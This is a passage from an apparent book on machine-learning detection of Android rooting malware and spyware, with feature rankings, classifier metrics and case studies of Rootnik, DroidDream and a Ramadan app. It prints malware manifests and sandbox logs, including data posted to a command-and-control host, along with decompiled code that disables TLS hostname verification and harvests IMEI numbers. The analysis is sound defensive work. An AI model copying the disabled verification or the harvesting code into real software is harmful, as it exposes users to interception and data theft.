Best late fusion XGBoost 0.9988 0.9927 0.9409 0.9656 0.0073 0.0114

Again, API features worked the best of any individual basic feature,
but combining all of the basic features further improved the F1 score. Of
the advanced features, TSG again had the highest F1 score, though adding
basic features to each kind of advanced feature significantly improved per
formance. Specifically, combining CG features with the basic features
achieved the best F1 score, a result that differs from the best way to distin
guish rooting malware from goodware. When we combined all basic and
advanced features, late fusion results again outperformed all classifiers.

Rooting Malware vs. Goodware
We’ll use a malware family called Rootnik to illustrate how the features of
rooting malware differ from those of goodware apps. Rootnik delivers its
rooting malware through a variety of apps, such as com.web.sdfile (v2, f214),
that claim to manage documents, videos, pictures, music, and other files
on a user’s device. Once installed, the app reaches out to a commandand
control server, where it downloads code at will to perform a veritable laun
dry list of malicious acts, from pushing pornography and ads to the device to
silently installing new apps. It embeds itself into a wide variety of legitimate
applications and, once a device is rooted, steals WiFi information including
passwords and keys, the user’s location, and the device’s MAC address.
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Figure 7-1: Top 20 features that best distinguish Android rooting malware
from goodware
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In this section, we will consider a set of 1,829 Rootnik hashes. Of these,
444 are distinct, in the sense that they lead to different feature vectors of
the type discussed in Chapters 5 and 6. We’ll cover the 20 features that best
distinguish between rooting malware and goodware using the ExtraTrees
classifier (short for extremely randomized trees, a variant of the random
forest classifier), which randomly chooses multiple subsets of the training
set, learns a decision tree for each subset, and then aggregates the decision
trees. Figure 71 shows these features.

They include nine static permissionrelated features, a static feature
based on the sendnet method, a static API call feature, six suspicion score
features, two suspicion rank features, and one correlation graph feature.
We will explain sendnet in more detail later in this chapter.

Permission-Related Features
Listing 71 shows every permission requested by Rootnik in the app’s mani
fest file.

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.READ_MEDIA_STORAGE"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

<uses-permission android:name="android.permission.WRITE_SETTINGS"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.ACCESS_DOWNLOAD_MANAGER"/>

<uses-permission android:name="android.permission.DOWNLOAD_WITHOUT_NOTIFICATION"/>

<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION../>

<uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>

<uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>

<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>

<uses-permission android:name="android.permission.DELETE_PACKAGES"/>

<uses-permission android:name="android.permission.CLEAR_APP_USER_DATA"/>

<uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"/>

<uses-permission android:name="android.permission.READ_FRAME_BUFFER"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
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<uses-permission android:name="android.permission.CHANGE_CONFIGURATION"/>

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="com.android.launcher.permission.READ_SETTINGS"/>

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>

<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

Listing 7-1: All requested permissions in Rootnik

Apps seek the INSTALL_PACKAGES privileged permission when they want
to install other packages or apps during runtime. Over the years, malware
developers have tried to use this to sideload new packages. One big advan
tage of this permission is that it can be used to install apps without user con
sent, unlike its unprivileged counterpart REQUEST_INSTALL_PACKAGES. Sideloaded
apps can then request arbitrary permissions and form the launchpad for
even more malicious attacks. The classifier’s output shows that while 20.27
percent of rooting malware requests this permission, only 0.22 percent of
goodware requests it. This is expected, as the privileged permission is only
available to apps that have already successfully elevated their privilege level
above that of regular apps.

The GET_PACKAGE_SIZE permission allows an app to get the package size of
other apps. You can see from the classifier’s output that 30.75 percent of
rooting malware requests this permission, compared to only 1.86 percent of
goodware. Historically, Android used the GET_PACKAGE_SIZE permission to pro
tect only a single Android API (PackageManager.getPackageSizeInfo), which was
removed in Android 8.0 (Oreo). Spotchecking a few rooting apps showed
that while they request this permission, they don’t seem to use it.

The KILL_BACKGROUND_PROCESSES permission allows an Android app to kill
processes running silently in the background. There are both legitimate and
malicious reasons for apps to request this permission. For instance, a benign
app may want this permission in order to free up system resources in cases
when another app is running in the background but not being actively used.
On the other hand, malicious apps may request this permission in order to
kill security processes running in the background. You can see that 28.33
percent of rooting malware requests this permission, but only 2.04 percent
of goodware does.

Another important permission is GET_TASKS. Although deprecated in
2014, it lets an app identify the running processes on a device. As you can
see from the classifier’s output, 67.81 percent of rooting malware requests
this permission, compared to a mere 13.57 percent of goodware. Thus, an
app that requests it is almost five times more likely to be rooting malware
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than goodware. Android has severely restricted this feature to further im
prove sandboxing between apps.

Apps request the MOUNT_UNMOUNT_FILESYSTEMS permission to mount or un
mount the device’s filesystems. This also enables them to add new files,
delete files, or modify files on parts of the device that were previously re
stricted. This permission is frequently used to drop the BusyBox executable
in the /system/bin directory. As BusyBox makes many standard Linux com
mands available in one executable, it’s a nice way to get a lot of standard
malware capabilities onto a rooted device without having to download,
copy, and install too many individual executable files. The malware itself
may then use these capabilities as needed. The probability of the MOUNT

_UNMOUNT_FILESYSTEMS permission being requested by rooting malware is
42.65 percent, compared to 4.21 percent for goodware, as unprivileged
apps can’t use the permission at all.

The SYSTEM_ALERT_WINDOW permission lets an app display popup alert
windows even if the app isn’t currently being used, offering clear and am
ple opportunity for abuse via phishing. We haven’t seen cases of such misuse
in rooting apps, but many rooting malware apps may bundle their code into
benign apps that use this permission for their normal operation. Rooting
malware is far more likely to request this feature than goodware (53.76 per
cent versus 11.13 percent).

The RECEIVE_BOOT_COMPLETED permission allows an app to know when
the system has completed a boot or reboot. Both goodware and malware
apps can use this broadcast message to start when the boot finishes. The
classifier’s output shows that 66.41 percent of rooting malware requests
this permission, compared to 24.38 percent of goodware. Malware seems to
be more likely to want to restart immediately after a reboot than goodware,
which usually starts only when the user wants to interact with it.

Malicious apps also often request the READ_PHONE_STATE and ACCESS_WIFI

_STATE permissions. Benign apps might use the first of these to get the
phone’s IMEI number, as well as information about the kinds of networks
the phone is connected to. For example, mobile payment apps may need
this type of information to verify the identity of the device sending a pay
ment request. Malware can use this permission to capture private informa
tion about a victim’s phone and is more than twice as likely to request it:
35.98 percent of goodware requests the READ_PHONE_STATE permission, com
pared to 83.01 percent of rooting malware. Similarly, hackers can use
ACCESS_WIFI_STATE to capture WiFi service set identifiers (SSIDs). While
80.57 percent of rooting malware requests this permission, its probability
of being requested by goodware is half this (40.02 percent).

Network-Based Features
In addition to the permissionrelated features, features related to the app’s
network communications can help machine learning algorithms identify
rooting malware. For instance, the static sendnet feature is set to the number
of times that the application’s code invokes the sendnet method to send data
over the internet. We can collect this kind of information by running the
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Android app within an Android sandbox environment called DroidBox that
enables us to run Android apps safely and gather dynamic features of the
kind mentioned in Chapter 6. Listing 72 shows the Rootnik malware calling
sendnet.

"sendnet": [

{

"desthost": "abc.jxyxteam.com",

"pid": 852,

"processname": "com.web.sdfile",

"time": 16.090091,

"tid": 705893000,

"data": "POST /HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded

\r\nConnection: close\r\nContent-Length: 257\r\nHost: abc.jxyxteam.com:7901\r\

nUser-Agent: Mozilla/5.0 (Linux; U; android 2.2.1; en-us; Nexus One Build/FRG83)

AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/ 533.1\r\nExpect:

100-continue\r\n\r\n",

"destport": 7901

},

Listing 7-2: The sendnet method, used to send data over the internet, in Rootnik

The DroidBox output shows Rootnik sending traffic to the external
URL abc.jxyxteam.com, which likely belongs to a site operated by the malware
developers.

The value of the sendnet feature is far more likely to be greater than zero
for rooting malware than for goodware. The classifier’s output shows that
7.65 percent of malware uses this method, compared to only 0.057 percent
of goodware, meaning that a rooting malware app is about 134 times more
likely than goodware to use it.

Another feature used in distinguishing rooting malware from goodware
is org.apache.http.conn.scheme, which captures the number of times the app’s
code invokes the HTTP or HTTPS protocols. Rooting malware invokes this
feature far more often than goodware (33.27 percent versus a mere 1.59 per
cent). In Listing 73, you can see the Rootnik rooting malware calling the
org.apache.http.conn.scheme API.

import org.apache.http.conn.scheme.Scheme;

public C1124az(Context context, X509Certificate x509Certificate, String str,

String str2, int i) {

this.f3838f = "";

this.f3839g = null;

this.f3833a = str;

this.f3834b = i;

this.f3836d = str2;

this.f3840h = context;

try {

C1104af afVar = new C1104af(x509Certificate);

afVar.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
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Scheme scheme = new Scheme("https", afVar, i);

this.f3835c = m3559f(str);

this.f3835c.getConnectionManager().getSchemeRegistry().register(scheme);

if (!C1126ba.m3582a()) {

if (context != null) {

this.f3838f = PreferenceManager.getDefaultSharedPreferences(context).

getString(C1112an.m3519c(str),"");

}

mo5336e(this.f3833a);

}

} catch (Throwable th){

}

}

Listing 7-3: The org.apache.http.conn.scheme API called in Rootnik

Keep in mind that there is nothing inherently malicious about using this
method, which can support both benign and malicious traffic.

Rooting Malware vs. Other Malware
Now let’s discuss the features that best distinguish rooting malware from
other forms of malware. Figure 72 shows the strongest 20 features for this
purpose identified by the ExtraTrees classifier.

These include 10 permissionrelated features, 8 suspicion score or suspi
cion rank features, 1 APIrelated feature, and 1 landmarkbased feature. In
this section, we’ll cover some of the highlights. Because rooting malware is
much more similar to other forms of malware than to goodware, the differ
ences discussed here are smaller.

Permission-Related Features
Ten permissions help the ExtraTrees classifier separate rooting malware
from other malware. The first is GET_PACKAGE_SIZE. Apps that request this per
mission are far more likely to be rooting malware than other forms of mal
ware; 30.15 percent of rooting malware requests it, compared to only 7.83
percent of other malware. However, the fact that some apps request this
permission isn’t necessarily malicious.

The next four, MOUNT_UNMOUNT_FILESYSTEMS, GET_TASKS, ACCESS_WIFI_STATE,
and INSTALL_PACKAGES, were also among the 20 features most useful for distin
guishing rooting malware from goodware. Two additional permissions root
ing malware requests slightly more often than other malware are READ_LOGS

and RESTART_ PACKAGES. The READ_LOGS permission grants access to all systems
logs for privileged apps, but only an app’s own logs for unprivileged apps;
RESTART_PACKAGES has been deprecated since API 15. In all of these cases,
the differences in the percentages of rooting malware versus other types of
malware requesting the permissions aren’t huge, and using any one of these
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Figure 7-2: Top 20 features that best distinguish Android rooting malware
from other forms of malware
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features individually to classify apps as rooting malware rather than some
other kind malware will likely lead to errors.

Lastly, we have already seen that READ_PHONE_STATE and RECEIVE_BOOT

_COMPLETED were important in distinguishing rooting malware from good
ware. Interestingly, Figure 72 shows that rooting malware is slightly less
likely to request these permissions than other forms of malware, which
might use them to start whenever the system is rebooted or to capture
IMSI and IMEI information about the device.

Other Features
The suspicion score and suspicion rank features play a far more important
role in distinguishing rooting malware from other forms of malware than
they did in the case of separating rooting malware from goodware. These
more technical features seem able to make finegrained distinctions that the
coarser permissionrelated features miss.

The API feature org.apache.http.conn.scheme, which captures the number
of times in the code that the app invokes the HTTP or HTTPS protocols,
is also helpful here. While 63.27 percent of rooting malware makes at least
one call to one of these protocols in its code, other forms of malware don’t
use the Apache libraries nearly as often (though they may use other libraries
for the same purpose). This class represents a number of protocols and de
scribes protocol properties like which socket to use.

DroidDream: A Case Study
DroidDream was the first known rooting malware on the Android platform.
In this section, we’ll apply the detection strategies learned in the earlier part
of this chapter to analyze it. Listing 74 shows the permissions the app re
quests in com.fall.down (v1, 7d1d).

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

Listing 7-4: The permissions used in the DroidDream malware

We see that DroidDream asks for only a few of the 20 permissions dis
cussed earlier in this chapter. The ones that our analysis deemed significant
for recognizing rooting malware are READ_PHONE_STATE and ACCESS_WIFI_STATE.
In Listing 75, you can see the app using READ_PHONE_STATE to request IMEI in
formation from the device.

public static String getIMEI(Context context) {

TelephonyManager mTelephonyMgr = (TelephonyManager) context.getSystemService("phone");

if (mTelephonyMgr.getDeviceId() == null) {

return "";
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}

return mTelephonyMgr.getDeviceId();

}

Listing 7-5: IMEI access by the DroidDream malware

Listing 76 contains DroidBox output that shows the DroidDream app
accessing IMSI information, another activity that requires the READ_PHONE

_STATE permission. Later in the code, the app sends both the IMEI and IMSI
to its commandandcontrol server.

"runbinary":[

{

"code":"invoke-static Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;",

"class":"Lcom/android/root/Setting;",

"method":"runRootCommand"

},

{

"code":"invoke-virtual v9, vll, Ljava/lang/Runtime;->exec(Ljava/lang/String;)

Ljava/lang/Process;",

"class":"Lcom/android/root/Setting;",

"method":"runRootCommand"

},

{

"code":"invoke-static Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;",

"class":"Lcom/android/root/udevRoot;",

"method":"runExploid"

}

],

"imsi":[

{

"code":"invoke-virtual v0, Landroid/telephony/TelephonyManager;->getSubscriberid()

Ljava/lang/String;",

"class":"Lcom/android/root/adbRoot;",

"method": getIMSI"

},

{

"code":"invoke-virtual v0, Landroid/telephony/TelephonyManager;->getSubscriberid()

Ljava/lang/String;",

"class":"Lcom/android/root/adbRoot;",

"method": getIMSI"

}

],

"socket":[

{

"code":"invoke-virtual vl, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;",

"class":"Lcom/admob/android/ads/i;",

"method":"a"

},

Rooting Malware 217



{

"code":"invoke-virtual v0, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;",

"class":"Lcom/android/root/Setting;",

"method":"postUrl"

}

]

Listing 7-6: IMSI access by the DroidDream malware

The app also collects information about the device hardware and oper
ating system, which requires the INTERNET permission. DroidDream uses this
permission to connect to various external URLs, too. Listing 77 shows the
list of URLs included in the DroidDream code.

"urls":[

"http://api.admob.com/v1/pubcode/android_sdk_emulator_notice",

"http://market.android.com/search?q=pname:com.teamsoft.blockedtrafficfree",

"http://market.android.com/search?q=pname:com.teamsoft.blockedtrafficpro",

"http://market.android.com/search?q=pname:com.teamsoft.funnytest",

"http://market.android.com/search?q=pname:com.teamsoft.rushhour",

"http://mm.admob.com/static/android/canvas.html",

"http://mm.admob.com/static/android/i18n/20100331",

"http://r.admob.com/ad_source.php",

"http://schemas.android.com/apk/res/"

]

Listing 7-7: External URLs accessed by the DroidDream malware

Individually, none of these features provides a smoking gun establishing
that DroidDream is malicious. However, their collective presence is enough
for our ensemblebased machine learning algorithm to label it as such. A
security analyst could then examine the malware to find conclusive proof
(for example, the runExploid method, shown in Listing 76). If they did so,
they’d determine that DroidDream roots phones with the socalled Rage
AgainsttheCage exploit, then uses its root privileges to install another app
with elevated privileges.

Up Next
In this chapter, we showed that it’s possible to achieve high levels of predic
tive efficacy in malware detection using ensemble late fusion, which has a
significantly higher performance than any other classifier. We also showed
that while all feature types help separate rooting malware from goodware,
as well as from other forms of malware, the advanced features covered in
Chapter 6 do especially well. In particular, the TSG suspicion scores and
suspicion ranks make the biggest contribution to ensembles. Permissions
also proved important.

The next chapter introduces detection techniques for another widely
prevalent form of Android malware: spyware, which gathers personal infor
mation and uses it for a variety of nefarious purposes.
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8
SPYWARE

Spyware is a form of malware whose goal
is to gather specific information from as

many users as possible. Attackers might use
this information in a variety of ways, such as to

send phishing messages purporting to come from the
victim or to steal money from a victim’s bank account.

Some spyware falls into multiple categories. For example, you’ll com
monly find it acting as a banking trojan or as a backdoor. From a detection
perspective, this can cause machine learning features for the various mal
ware categories to overlap, so you’ll rarely find a clean separation between
the different types of malware and their properties.

Spyware Families
This section covers prominent spyware families we didn’t discuss in
Chapter 2, starting with UaPush, one of the first widespread examples
on the platform. Beginning in 2011, UaPush sent text messages and stole
user information from infected devices. It was distributed as an SDK that
made its way onto devices via apps that used it as part of an advertisement
based profit sharing deal.



Described by FSecure in 2013, Pincer is malware that pretends to be a
security certificate under the name Certificate.apk. Its spyware functions in
clude capturing the IMEI, serial number, and Android version of the device
it has compromised, along with the user’s phone number, carrier, and other
information. It can also check to see if it’s being run in a sandbox. Notably,
Pincer intercepts SMS traffic and forwards it to a commandandcontrol
server, which can in principle enable hackers to compromise twofactor
authentication and show misleading messages to the victim to keep them
in the dark.

The HeHe malware also uses its spyware features to thwart twofactor
authentication. It infiltrates phones by pretending that it is providing a secu
rity update to the operating system. To exploit its ability to intercept SMS
traffic and phone calls, it downloads a list of interesting phone numbers
from its commandandcontrol center, including numbers of banks, allowing
it to intercept twofactor authentication events as well as phone calls made to
warn the victim of suspicious activity.

USBCleaver, also discovered by FSecure in 2013, makes its way onto
devices via apps distributed by thirdparty app stores or other malicious
apps present on a compromised device. Interestingly, when the infected de
vice is connected to a computer, USBCleaver is able to steal browser and
WiFi passwords from it over USB and ship them to a commandandcontrol
server.

Though first noticed in 2014, Acecard did nothing malicious for several
months. It masqueraded as various benign apps, such as games or fake Flash
players, and after installation prompted the device owner for administrator
privileges. In 2015, it started to exhibit malicious behavior. To operate as a
banking trojan, it stole information from users, for example by overlaying
social media login windows with fake ones. Kaspersky has thoroughly de
scribed this spyware in a series of 2016 blog posts, starting with “Acecard
Trojan: Android Users of Over 30 Banking and Payment Apps at Risk.”

A more recent example, Qibla Compass Ramadan 2022, claims to
help Muslim users schedule their prayers, fasts, and other activities during
the month of Ramadan. In reality, it has tracked the movements of millions
of individuals and stolen sensitive files from their devices. TheWall Street
Journal and Forbes have both claimed that the companies behind this mal
ware have ties to US defense and intelligence agencies. We’ll thoroughly
analyze this app’s malicious functionality later in this chapter.

Spyware vs. Goodware
Figure 81 shows the top 25 features for distinguishing Android spyware
from goodware using a random forest classifier (discussed in Chapter 5).
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Figure 8-1: Top 25 features that best distinguish Android spyware from goodware

Spyware 221



As you can see, 14 of these features are permissionrelated, 4 are static,
and 2 are dynamic. We’ll focus on the permissionrelated features in our
discussion.

Permission-Related Features
Many of the most important features for distinguishing spyware from good
ware involve permissions, and four of these are related to SMS capabilities.
The SEND_SMS, RECEIVE_SMS, WRITE_SMS, and READ_SMS permissions enable spyware
to receive and read messages (from banks and online marketplaces, for ex
ample) to gather information that the apps can subsequently send to their
commandandcontrol center. Once at the commandandcontrol center,
the malware developers may sell such information online and/or use it to
commit various types of fraud, such as credit card or banking fraud. The
WRITE_SMS and SEND_SMS permissions could also be used, for example, to write
and send phishing URLs from the device owner’s phone to their contacts
with the aim of infecting the contacts’ devices. The probability of spyware
requesting these four permissions is much higher than the probability of
goodware requesting the same permissions.

File size is an important factor, too. Figure 81 shows us that spyware
tends to be much smaller than goodware. We speculate that this is because
spyware requires fewer spaceintensive resources, like the highresolution
media often required by legitimate applications. Spyware may also use fewer
thirdparty SDKs, which would further reduce their file size.

As mentioned in the previous chapter, the READ_PHONE_STATE permission
enables hackers to capture device information like IMEI and IMSI numbers.
The probability of spyware requesting these permissions is more than twice
that of goodware. These values can be particularly useful when selling and
buying stolen data, as the unique nature of these hardware identifiers makes
them handy primary keys to use to join datasets from different sources.

Likewise, spyware requests the GET_TASKS permission more than three
times as often as goodware does. This permission, which we encountered in
the previous chapter, enables the app to see what processes are running on
the device. It could use this to, for example, detect processes associated with
antivirus programs or track app usage data to collect and sell to marketers.
Note, though, that this permission has been deprecated since Android 5.0
(Lollipop), and therefore is unlikely to have any impact at the time of this
writing.

The SYSTEM_ALERT_WINDOW permission is another one that is requested
more than twice as frequently by spyware than by goodware. Spyware can
use it to steal user IDs, passwords, credit card details, bank account num
bers, and more by displaying popup windows over the top of other appli
cations that the user assumes are related to those apps. You’ll commonly see
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this behavior in bank phishing malware; as we noted, spyware often serves
multiple functions, and cleanly separating its features by category isn’t
always possible.

Lastly, although its use is relatively uncommon in both categories, spy
ware requests the privileged MOUNT_UNMOUNT_FILESYSTEMS permission more than
twice as frequently as goodware. Malware developers can use this permis
sion to load utility software like BusyBox onto the device, assuming the spy
ware has elevated its privileges.

Figure 81 showed a few other significant permissions that spyware re
quests more often than goodware, as well as features such as the following:

num_std_permissions The number of permissions defined by official
Android developer guides declared in the manifest, regardless of
whether they’re considered dangerous or not

num_std_permissions_dangerous The number of permissions deemed dan
gerous because they grant apps increased access to restricted data or
allow it to carry out restricted actions

num_non_std_permissions The number of permissions declared in the
manifest that are defined by sources other than the official Android
SDK

Prediction Efficacy
Table 81 shows the performance of various machine learning classifiers at
predicting whether an app is spyware or goodware, given different sets of
features.

Table 8-1: Metrics for Evaluating Android Spyware vs. Goodware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package RF 0.9959 0.9786 0.9741 0.9764 0.0214 0.0338
Static (S) XGBoost 0.9911 0.9627 0.9621 0.9624 0.0373 0.0381
Dynamic (D) RF 0.9532 0.8527 0.9708 0.9079 0.1473 0.0342
S + D XGBoost 0.9943 0.9620 0.9711 0.9665 0.0380 0.0294
API + S + D XGBoost 0.9982 0.9824 0.9848 0.9836 0.0176 0.0187
TSG RF 0.9953 0.9800 0.9691 0.9745 0.0200 0.0401
LM RF 0.8625 0.7342 0.9266 0.8193 0.2658 0.1327
FC RF 0.9896 0.9645 0.9590 0.9617 0.0355 0.0500
CG GBDT 0.9629 0.9329 0.9339 0.9334 0.0671 0.0812
API + S + D + TSG XGBoost 0.9989 0.9894 0.9875 0.9884 0.0106 0.0153
API + S + D + LM XGBoost 0.9981 0.9824 0.9845 0.9834 0.0176 0.0191
API + S + D + FC XGBoost 0.9982 0.9824 0.9856 0.9840 0.0176 0.0177
API + S + D + CG XGBoost 0.9983 0.9840 0.9845 0.9842 0.0160 0.0190
All features XGBoost 0.9988 0.9875 0.9864 0.9869 0.0125 0.0167
Best late fusion XGBoost 1.0000 1.0000 1.0000 1.0000 0.0000 0.0000
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As in the previous chapter, the rows indicate the types of features
used: API package, static, dynamic, TSGbased, landmarkbased, feature
clustering–based, and correlation graph–based. We also show combinations
of these features. We’ve indicated the best classifier for each type or com
bination of features and provided various predictive performance metrics.
The final row shows the results of late fusion.

As you can see, late fusion using the XGBoost classifier provides excel
lent results, making virtually no mistakes on the data we used during testing.
This is surprising; almost no machine learning algorithms yield 100 percent
performance.

Spyware vs. Other Malware
We now turn to the question of how spyware differs from other forms of
malware. Figure 82 shows the top 25 features used for this purpose.

Here too, the majority of the features that distinguish spyware from
other malware (13 of the top 25) are linked to permissions, so we’ll focus
on those.

Permission-Related Features
If you look at the classifier’s results, you might notice something interesting:
SMSrelated permissions are conspicuously absent. This is because many
types of malware, and not just spyware, seek these permissions.

The CALL_PHONE permission is one of the distinguishing features. We see
that spyware requests this almost three times as often as other types of mal
ware. This permission can be used, among other things, to disconnect a
phone call (for example, if a bank calls to verify that the customer made a
purchase). In spyware we’ve observed, the CALL_PHONE permission is usually
sought by apps with advanced capabilities that cross into the trojan or back
door categories.

An important permission not covered in preceding chapters, ACCESS_FINE
_LOCATION, provides extremely valuable information. An app with this permis
sion can usually identify the victim’s location to within a few meters. Attack
ers could use this information for many purposes. For example, they could
build a model of the days of the week and times at which the victim is usu
ally present in a particular location (say, at a specific coffee shop from 11 AM

to 12 PM on Mondays or at a meeting in building B on the Google campus
from 3 PM to 4 PM on Thursdays). They could also infer what stores victims
visit and use this to determine whether they are good targets: for instance,
a user who enters relatively expensive stores, such as Whole Foods, Nord
strom, and Neiman Marcus, may draw more attention because they appear
wealthier than one who mainly frequents convenience stores like 7Eleven.
We believe this finegrained location information about individuals is the
most soughtafter data on data markets.
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Figure 8-2: Top 25 features that best distinguish Android spyware from other malware
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The RECORD_AUDIO permission is a potentially creepy one. Many legitimate
apps seek to record audio, such as voice recorders and online conferenc
ing apps. However, if malware records a phone call, adversaries could learn
sensitive information. Though no kind of malware frequently seeks this per
mission, the probability of spyware requesting it is much higher than the
probability of other malware requesting it.

The READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE permissions are
sought almost equally by spyware and other malware. These permissions
enable malware to read from and write to the device’s SD card, where other
apps store potentially sensitive files. One particularly interesting use of
WRITE_EXTERNAL_STORAGE that we’ve seen is in an advanced spyware and trojan
app called Claco, which stores files on the SD card in hopes of infecting
Windows systems connected to the Android device over USB. Note that
after Android introduced scoped storage in Android 10, most of the previ
ously accessible sensitive files should no longer be accessible to unprivileged
spyware apps.

We discussed the important KILL_BACKGROUND_PROCESSES permission in
the previous chapter. Spyware can use it to kill background processes
owned by a given app, like an antivirus app. Lastly, some features that help
us distinguish spyware from goodware can also help us distinguish spyware
from other malware. These include the SYSTEM_ALERT_WINDOW, MOUNT_UNMOUNT
_FILESYSTEMS, READ_PHONE_STATE, and ACCESS_NETWORK_STATE permissions, as well
as features such as filesize, num_std_permissions, and num_non_std_permissions.
The number of dangerous permissions sought, a top feature for distinguish
ing spyware from goodware, seems less important when distinguishing spy
ware from other forms of malware.

Prediction Efficacy
Table 82 shows the predictive performance of machine learning classifiers
when tasked with separating spyware from other forms of malware.

While the best F1 score is a little lower than the result we received when
distinguishing spyware from goodware, the drop is negligible. The results
suggest that machine learning is able to separate spyware from goodware
very well.
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Table 8-2: Metrics for Evaluating Android Spyware vs. Other Malware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package GBDT 0.9101 0.8475 0.8379 0.8427 0.1525 0.1610
Static (S) XGBoost 0.9156 0.8513 0.8401 0.8456 0.1487 0.1592
Dynamic (D) MLP 0.8394 0.8100 0.6378 0.7137 0.1900 0.3008
S + D XGBoost 0.9138 0.8560 0.8391 0.8475 0.1440 0.1591
API + S + D XGBoost 0.9447 0.8794 0.8794 0.8794 0.1206 0.1214
TSG RF 0.6943 0.6567 0.6635 0.6601 0.3433 0.3423
LM GBDT 0.8231 0.7353 0.7540 0.7445 0.2647 0.2541
FC SVM 0.5047 0.5028 1.0000 0.6692 0.4972 0.0000
CG XGBoost 0.9431 0.8789 0.8822 0.8805 0.1211 0.1190
API + S + D + TSG XGBoost 0.9457 0.8845 0.8803 0.8824 0.1155 0.1199
API + S + D + LM XGBoost 0.9439 0.8845 0.8803 0.8824 0.1155 0.1199
API + S + D + FC GBDT 0.9099 0.8476 0.8388 0.8432 0.1524 0.1603
API + S + D + CG XGBoost 0.9156 0.8513 0.8401 0.8456 0.1487 0.1592
All features MLP 0.8394 0.8100 0.6378 0.7137 0.1900 0.3008
Best late fusion XGBoost 0.9998 0.9997 0.9997 0.9997 0.0003 0.0009

Qibla Compass Ramadan: A Case Study
We now consider the case of the Qibla Compass Ramadan malware,
which we’ll refer to as simply Ramadan. Researchers at the University of
Calgary and the University of California, Berkeley, discovered it, along with
several other malicious apps targeting practicing Muslims. In the article
“Google Reportedly Bans Dozens of Apps Containing Spyware,” published
on April 6, 2022, Forbes alleges that the apps included code from a company
based in Panama that paid app developers to incorporate malicious func
tionality that gathers data for seemingly legitimate companies, such as email
addresses and files with sensitive content. According to Forbes, the Panama
nian company had links to a US defense contractor with an interest in cyber
security, suggesting that a US intelligence or defense operation had used the
apps to target millions of Muslims. Google blocked Ramadan and other re
lated apps in April 2022.
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Regardless of the developers’ motivations, our machine learning algo
rithms correctly predicted that the app isn’t goodware and that it is spyware.
Listing 81 shows the permissions ramadan.com.ramadan (v4, 9cef) requests.

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

android:versionCode="4" android:versionName="1.1.2" android:compileSdkVersion="28"

android:compileSdkVersionCodename="9" package="ramadan.com.ramadan"

platformBuildVersionCode="4" platformBuildVersionName="1.1.2">

<uses-sdk android:minSdkVersion="15" android:targetSdkVersion="28"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.READ_CONTACTS"/>

<uses-permission android:name="android.permission.GET_ACCOUNTS"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

Listing 8-1: All permissions requested by the Ramadan malware

As you can see, many of the permissions that help distinguish spyware
from goodware are requested here, including READ_PHONE_STATE and RECEIVE

_BOOT_COMPLETED. We also see that the malware seeks the READ_CONTACTS and
GET_ACCOUNTS permissions, which could enable the app to siphon off the vic
tim’s entire contact list and see their accounts.

However, code analysis shows that this particular app doesn’t actually
take these actions. Instead, Listing 82 shows the Ramadan app accessing
